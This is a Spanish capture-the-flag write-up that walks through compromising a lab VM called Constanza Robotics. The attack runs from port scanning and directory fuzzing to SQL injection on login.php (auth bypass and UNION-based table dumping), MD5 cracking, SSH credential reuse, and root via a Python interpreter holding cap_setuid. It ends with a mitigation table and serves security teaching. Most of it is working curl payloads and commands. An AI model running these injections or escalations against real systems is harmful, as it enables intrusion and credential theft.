Constanza Robotics
Máquina: The Hackers Labs — Constanza Robotics Sistema operativo objetivo: Debian 12 “Bookworm” Vector de entrada: Inyección SQL en portal interno → dump de credenciales → reutilización en SSH Escalada de privilegios: Linux Capabilities (cap_setuid) sobre un intérprete de Python — no es el clásico SUID
Resumen de flags
| Flag | Valor | Obtenida en |
|---|---|---|
Usuario (user.txt) |
████████████ |
Fase 6 |
Root (root.txt) |
████████████ |
Fase 9 |
Nota sobre las IPs: aquí la máquina objetivo es
192.168.56.102y el atacante (Kali)192.168.56.1, asignadas por el DHCP de VirtualBox. Confírmalas tú con un escaneo de red (paso 1.1) porque pueden variar.
Herramientas necesarias
Todas de serie en Kali:
sudo apt-get install -y sshpass # el resto (nmap, gobuster, john, curl) ya viene instaladoFase 0 — Montar la máquina virtual
Exactamente el mismo procedimiento que con la máquina anterior (El Baifo). Resumen rápido:
# 1. Descomprimir el .zip descargado de The Hacker Labs
unzip "The Hackers Labs - Constanza Robotics.zip"
# 2. Importar el .ova a VirtualBox con un nombre limpio
VBoxManage import "The Hackers Labs - Constanza Robotics.ova" \
--vsys 0 --vmname "TheHackersLabs-ConstanzaRobotics"
# 3. Conectarla a la red host-only aislada (la misma vboxnet0 de siempre)
VBoxManage modifyvm "TheHackersLabs-ConstanzaRobotics" \
--nic1 hostonly --hostonlyadapter1 vboxnet0
# 4. Arrancarla sin interfaz gráfica
VBoxManage startvm "TheHackersLabs-ConstanzaRobotics" --type headlessSi es tu primera máquina en esta sesión de VirtualBox, primero necesitas crear la red con
VBoxManage hostonlyif create— con eso se genera automáticamentevboxnet0(192.168.56.1/24) con DHCP.
Fase 1 — Reconocimiento de red
1.1 ¿Qué IP tiene la VM?
Al arrancar, la VM pide una IP por DHCP dentro del rango 192.168.56.100–254. La localizamos con un ping-scan:
nmap -sn 192.168.56.100-200Ojo: la .100 normalmente es el propio servidor DHCP virtual de VirtualBox, no la VM. Descarta esa y quédate con la otra.
1.2 ¿Qué puertos tiene abiertos?
Por qué escaneo los 65535 puertos y no solo el top-1000: muchos servicios de estos retos se esconden en puertos poco comunes (o simplemente Nmap no los prioriza por defecto). Un escaneo rápido pero completo:
nmap -p- --min-rate 3000 -Pn 192.168.56.102Resultado:
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
1.3 ¿Qué versión corre cada servicio?
nmap -sV -sC -Pn -p 22,80,3306 192.168.56.102Resultado relevante:
22/tcp OpenSSH 9.2p1 Debian 2+deb12u10
80/tcp Apache httpd 2.4.68 — "Constanza Robotics — Robótica industrial de precisión"
3306/tcp MariaDB 10.3.23 or earlier (unauthorized)
Un servidor web (Apache) con base de datos MariaDB detrás, y SSH como puerta de acceso final. El puerto 3306 está expuesto pero pide autenticación — no es explotable directamente desde fuera; el camino pasa por la web.
Fase 2 — Encontrar la superficie oculta (reconocimiento web)
Qué significa “superficie oculta”: la web pública (index.html, nosotros.html, contacto.html…) no tiene ningún enlace visible a un panel de administración. Pero eso no significa que no exista — solo que no está enlazado. Hay que forzar la búsqueda de rutas.
2.1 Mirar el código fuente por pistas
curl -s http://192.168.56.102/ | lessReviso comentarios HTML, rutas a assets/, nombres de archivos JS/CSS — nada obvio esta vez, pero es un paso que nunca hay que saltarse.
2.2 Comprobar rutas “de cortesía”
curl -s http://192.168.56.102/robots.txt
curl -s http://192.168.56.102/sitemap.xmlEn este caso ambas devuelven 404 — no hay pistas ahí.
2.3 Fuzzing de directorios y archivos
Qué es esto: gobuster prueba miles de nombres de archivo/carpeta comunes (de una wordlist) contra el servidor y anota cuáles existen según el código de respuesta HTTP.
gobuster dir -u http://192.168.56.102/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-t 50 -x php,html -q-w→ wordlist a probar.-x php,html→ también prueba cada palabra con esas extensiones (admin.php,admin.html…).-t 50→ 50 hilos en paralelo (más rápido).
Resultado clave:
login.php (Status: 200) [Size: 1091]
Ahí está el portal oculto: login.php.
Fase 3 — Analizar el portal encontrado
curl -s http://192.168.56.102/login.phpEs un formulario POST sencillo con dos campos: username y password, que apunta a sí mismo (action="login.php"). El pie dice “Intranet · acceso restringido” — confirmado, es el panel de empleados.
Fase 4 — Inyección SQL (SQLi)
4.1 ¿Qué es una inyección SQL?
Cuando una web mete directamente lo que escribes en un formulario dentro de una consulta SQL sin “limpiarla” (sin sanitizar ni usar consultas parametrizadas), puedes escribir código SQL propio dentro del campo de texto y alterar la consulta que se ejecuta en la base de datos.
Ejemplo de consulta vulnerable típica:
SELECT * FROM users WHERE username = '$username' AND password = '$password'Si $username es literalmente lo que yo escribo sin filtrar, puedo romper las comillas y añadir mi propia lógica SQL.
4.2 Confirmar que existe la inyección
El primer test siempre es mandar una comilla simple (') sola — si la consulta se rompe, el servidor suele devolver un error:
curl -s -o /dev/null -w "HTTP %{http_code}\n" -X POST http://192.168.56.102/login.php \
--data-urlencode "username=admin'" --data-urlencode "password=x"Resultado: HTTP 500 (Internal Server Error) — comparado con un login normal con credenciales incorrectas, que da HTTP 200 con el mensaje “Usuario o contraseña incorrectos”. La diferencia de comportamiento confirma la inyección.
4.3 Bypass de autenticación (opcional, para confirmar impacto)
El truco clásico ' OR '1'='1'-- - convierte la condición WHERE username='...' AND password='...' en algo que siempre es verdadero, así que la consulta devuelve la primera fila de la tabla sin necesitar la contraseña real:
curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' OR '1'='1'-- -" --data-urlencode "password=x"-- - comenta el resto de la consulta original (el AND password='...' que venía después), para que no interfiera.
Resultado: inicia sesión como el primer usuario de la tabla (pperez), aunque el panel en sí está “en mantenimiento” — así que este camino no da más, pero confirma que controlamos la consulta.
4.4 UNION-based SQLi: extraer datos arbitrarios
Qué es esto: si la consulta original hace un SELECT con varias columnas y el resultado se refleja en la página (aquí: “Sesión iniciada como <username>”), puedo usar UNION SELECT para inyectar una segunda consulta cuyos resultados yo elijo, y que aparezcan en ese mismo hueco del HTML. Es como pedirle a la base de datos que me “imprima” cualquier dato que yo quiera en el sitio donde normalmente iría el nombre de usuario.
Paso 1 — averiguar cuántas columnas tiene la consulta original. UNION SELECT exige que ambas consultas tengan el mismo número de columnas, así que hay que probar hasta que no dé error:
for n in 1 2 3 4 5 6; do
cols=$(seq -s, 1 $n)
curl -s -o /dev/null -w "columnas=$n -> HTTP %{http_code}\n" -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT ${cols}-- -" --data-urlencode "password=x"
doneCon 3 columnas deja de dar error 500 → la consulta tiene 3 columnas.
Paso 2 — ver qué columna se refleja en el HTML:
curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,2,3-- -" --data-urlencode "password=x" | grep -A2 alertAparece “Sesión iniciada como 2” → la columna 2 es la que se imprime en pantalla. Esa es nuestra “ventana” para sacar cualquier dato.
Paso 3 — enumerar la base de datos. information_schema es una base de datos especial que toda instalación de MySQL/MariaDB trae por defecto, con metadatos de todas las bases, tablas y columnas que existen en el servidor. Es el mapa que usamos para saber dónde mirar:
# Versión del motor
curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,version(),3-- -" --data-urlencode "password=x"
# Base de datos activa
curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,database(),3-- -" --data-urlencode "password=x"
# Tablas de esa base de datos
curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x2c),3 FROM information_schema.tables WHERE table_schema=database()-- -" \
--data-urlencode "password=x"GROUP_CONCAT(... SEPARATOR 0x2c) junta todos los resultados de varias filas en una sola línea separada por comas (0x2c es el código hexadecimal de la coma — se usa en hex para no tener que escapar comillas dentro de la propia inyección).
Resultado: base de datos corp, con una sola tabla: users.
Paso 4 — columnas de la tabla users:
curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,GROUP_CONCAT(column_name SEPARATOR 0x2c),3 FROM information_schema.columns WHERE table_name=0x7573657273-- -" \
--data-urlencode "password=x"0x7573657273 es la palabra users codificada en hexadecimal — se usa así en vez de 'users' para evitar comillas simples dentro de un valor que ya está dentro de comillas (evita romper la sintaxis de nuestra propia inyección).
Resultado: id, username, password, role
Paso 5 — volcar toda la tabla de un tirón:
curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,GROUP_CONCAT(id,0x7c,username,0x7c,password,0x7c,role SEPARATOR 0x0a),3 FROM users-- -" \
--data-urlencode "password=x"0x7c es | (separador entre campos) y 0x0a es un salto de línea (separador entre filas) — así el resultado sale legible, una fila por línea.
Resultado — la tabla completa de empleados:
1|pperez|████████████|user
2|agomez|████████████|user
3|jruiz|████████████|user
4|csalas|████████████|admin
5|mtorres|████████████|user
6|dnavarro|████████████|user
Los hashes tienen 32 caracteres hexadecimales → formato típico de MD5.
Fase 5 — Crackear los hashes
5.1 ¿Qué significa “crackear” un hash?
Un hash es una función de un solo sentido: no se puede “desencriptar” para recuperar la contraseña original. Lo que se hace es probar millones de contraseñas candidatas (de un diccionario), calcular el hash de cada una, y comparar contra el hash objetivo. Si coinciden, esa era la contraseña. Por eso funciona mejor cuanto más débil/común es la contraseña real.
5.2 Preparar el archivo de hashes
cat > hashes_constanza.txt << 'EOF'
████████████
████████████
████████████
████████████
████████████
████████████
EOF5.3 Crackear con John the Ripper
hashcat normalmente es más rápido (usa la GPU), pero si la máquina atacante no tiene un driver OpenCL/CUDA disponible (nuestro caso), john funciona igual por CPU:
gzip -dk /usr/share/wordlists/rockyou.txt.gz # descomprimir el diccionario si hace falta
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes_constanza.txt
john --format=raw-md5 --show hashes_constanza.txtResultado: 3 de 6 hashes caen con el diccionario rockyou.txt puro:
barcelona
princess
iloveyou
Los otros 3 (incluido csalas, el único admin) no cayeron ni siquiera aplicando reglas de mutación (--rules=best64, que prueba variantes con mayúsculas, números al final, etc.) — probablemente tienen contraseñas más robustas o simplemente no están en ningún diccionario común. No hace falta crackearlos todos: nos basta con una credencial válida.
5.4 ¿Qué hash es de quién?
john --show no te dice a qué usuario pertenece cada contraseña si el archivo solo tiene los hashes sueltos. Para mapearlo, se recalcula el MD5 de cada contraseña encontrada y se compara con la lista original:
for pw in iloveyou princess barcelona; do
echo -n "$pw" | md5sum
doneComparando contra la tabla de la Fase 4:
| Usuario | Contraseña | Rol |
|---|---|---|
pperez |
barcelona |
user |
agomez |
princess |
user |
jruiz |
iloveyou |
user |
Fase 6 — Reutilización de credenciales → acceso SSH
La idea: en el mundo real (y en este reto) es muy común que la gente reutilice la misma contraseña del portal web para su cuenta del sistema operativo. Probamos cada par usuario:contraseña contra SSH:
sshpass -p 'barcelona' ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no [email protected] 'id'sshpass -p→ mete la contraseña automáticamente en el prompt de SSH (sin esto, SSH la pediría interactivamente).-o PreferredAuthentications=password -o PubkeyAuthentication=no→ fuerza el uso de contraseña en vez de intentar autenticación por clave primero (más rápido/limpio para probar varias credenciales).
Resultado: pperez:barcelona funciona. Las otras dos combinaciones (agomez:princess, jruiz:iloveyou) dan “Permission denied” — esos usuarios no tienen SSH habilitado o usan otra contraseña ahí.
Capturar la flag de usuario
sshpass -p 'barcelona' ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no [email protected] 'cat ~/user.txt'████████████
Fase 7 — Enumeración para escalada de privilegios
Antes de buscar un fallo concreto, se revisan sistemáticamente los vectores más comunes:
# ¿Puedo ejecutar algo como root vía sudo?
sudo -l
# → "Sorry, user pperez may not run sudo" — descartado
# ¿Pertenezco a algún grupo con privilegios especiales (docker, disk, lxd...)?
id
# → solo mi propio grupo — descartado
# ¿Hay binarios con el bit SUID? (el mecanismo "clásico")
find / -perm -4000 -type f 2>/dev/null
# → solo los binarios estándar del sistema (sudo, passwd, su...) — nada nuevo7.1 El mecanismo alternativo: Linux Capabilities
Qué son las Linux Capabilities: tradicionalmente, un programa o es “todo-poderoso” (corre como root, vía SUID) o no tiene ningún privilegio especial. Las capabilities dividen los superpoderes de root en piezas pequeñas e independientes: CAP_NET_RAW (crear sockets raw, para ping), CAP_SYS_TIME (cambiar la hora del sistema), CAP_SETUID (cambiar el UID de un proceso), etc. Se pueden asignar a un binario sin darle el bit SUID completo, con setcap. La idea es “principio de mínimo privilegio” — pero si el privilegio otorgado es lo bastante potente (como CAP_SETUID), sigue siendo una vía directa a root.
Se buscan con:
getcap -r / 2>/dev/nullResultado:
/usr/bin/ping cap_net_raw=ep # normal, así funciona ping sin ser root
/opt/maint/pybackup cap_setuid=ep # esto NO es normal — un intérprete con permiso de cambiar de UID
cap_setuid=ep significa que ese binario, al ejecutarse, tiene la capability CAP_SETUID en su conjunto efectivo y permitido — es decir, el propio proceso puede llamar a setuid() para convertirse en cualquier usuario, incluido root, sin que el sistema se lo impida.
Fase 8 — Explotar la capability cap_setuid
8.1 ¿Qué es exactamente /opt/maint/pybackup?
ls -la /opt/maint/
/opt/maint/pybackup --helpNo es un script sencillo de backup como sugiere el nombre: es un intérprete de Python autocontenido (un ejecutable ELF de ~6.8MB, tipo PyInstaller) — o sea, admite -c "código python" igual que el python3 normal del sistema. Root probablemente lo dejó ahí con esta capability para que algún script de mantenimiento pudiera hacer algo puntual sin ser root completo — pero al ser un intérprete genérico, nos deja ejecutar cualquier código Python con esa capability activa.
8.2 El primer intento (y por qué falló)
/opt/maint/pybackup -c "import os; os.setuid(0); os.setgid(0); os.system('id')"Resultado: PermissionError: [Errno 1] Operation not permitted.
Por qué falla: cap_setuid=ep solo otorga CAP_SETUID, no CAP_SETGID. Al intentar os.setgid(0) sin esa capability (y sin ser ya root), el sistema deniega la llamada. Hay que aislar qué línea falla.
8.3 El intento correcto
Solo con setuid(0), sin tocar el grupo:
/opt/maint/pybackup -c "import os; os.setuid(0); print(os.getuid(), os.geteuid())"Resultado: 0 0 — el proceso ahora es root (UID real y efectivo).
Por qué funciona ahora: cuando un proceso con CAP_SETUID llama a setuid(0), POSIX dice que si el proceso tiene privilegio suficiente, la llamada actualiza a la vez el UID real, efectivo y guardado a 0 — deja de ser “solo efectivamente root” y pasa a ser root por completo desde ese momento, para todo lo que haga a partir de ahí (incluido lanzar nuevos procesos, que sí heredan el UID real 0 sin necesitar ninguna capability adicional).
8.4 Capturar la flag de root
/opt/maint/pybackup -c "import os; os.setuid(0); os.system('id; cat /root/root.txt')"Resultado:
uid=0(root) gid=1001(pperez) grupos=1001(pperez)
████████████
🚩 Root conseguido (nótese que el gid se queda en pperez — no hace falta más, ya podemos leer y escribir cualquier archivo del sistema como root).
Fase 9 — Limpieza
A diferencia de la máquina anterior, aquí no modificamos ningún archivo en el sistema objetivo — todo el ataque fue lectura (dump de la BD, lectura de flags) y la elevación de privilegios se logró en memoria dentro del propio proceso Python, sin dejar binarios ni cambios persistentes. No hace falta restaurar nada.
Resumen de la cadena de ataque
nmap -p- (65535 puertos)
│
▼
gobuster → descubre login.php (portal no enlazado)
│
▼
SQLi confirmada (comilla simple → HTTP 500)
→ UNION SELECT (3 columnas) + information_schema
→ dump completo de la tabla "users" (hashes MD5)
│
▼
Crackeo con John + rockyou.txt
→ pperez:barcelona, agomez:princess, jruiz:iloveyou
│
▼
Reutilización de credenciales contra SSH
→ pperez:barcelona funciona
→ flag de usuario
│
▼
Enumeración: sudo -l (no), grupos (no), SUID (no)
→ getcap -r / revela /opt/maint/pybackup con cap_setuid=ep
│
▼
/opt/maint/pybackup -c "os.setuid(0); os.system(...)"
→ proceso se convierte en root
→ flag de root
Causas raíz y mitigación
| Debilidad | Mitigación recomendada |
|---|---|
| Portal de administración accesible sin estar enlazado (“seguridad por oscuridad”) | El control de acceso no puede depender de que la URL sea “secreta”; requiere autenticación robusta y, si aplica, restricción por IP/VPN |
| Consulta SQL construida por concatenación de strings, sin sanitizar | Usar siempre prepared statements / consultas parametrizadas (ej. PDO con ? en PHP), nunca interpolar variables directamente en el SQL |
| Contraseñas almacenadas con MD5 sin sal | Usar bcrypt, argon2 o scrypt — funciones de hash diseñadas para contraseñas, lentas a propósito y con sal automática |
| Reutilización de la misma contraseña entre el portal web y el sistema operativo | Políticas de contraseñas distintas por sistema; gestor de contraseñas; autenticación por clave SSH en vez de contraseña |
Binario con CAP_SETUID accesible a un usuario sin privilegios |
Nunca otorgar cap_setuid (ni SUID) a un intérprete genérico (Python, Perl, etc.) — si se necesita un privilegio puntual, debe ir en un binario compilado, de propósito único, que no permita ejecutar código arbitrario |
«El saber se puede comunicar, pero no la sabiduría.»
— Hermann Hesse, Siddhartha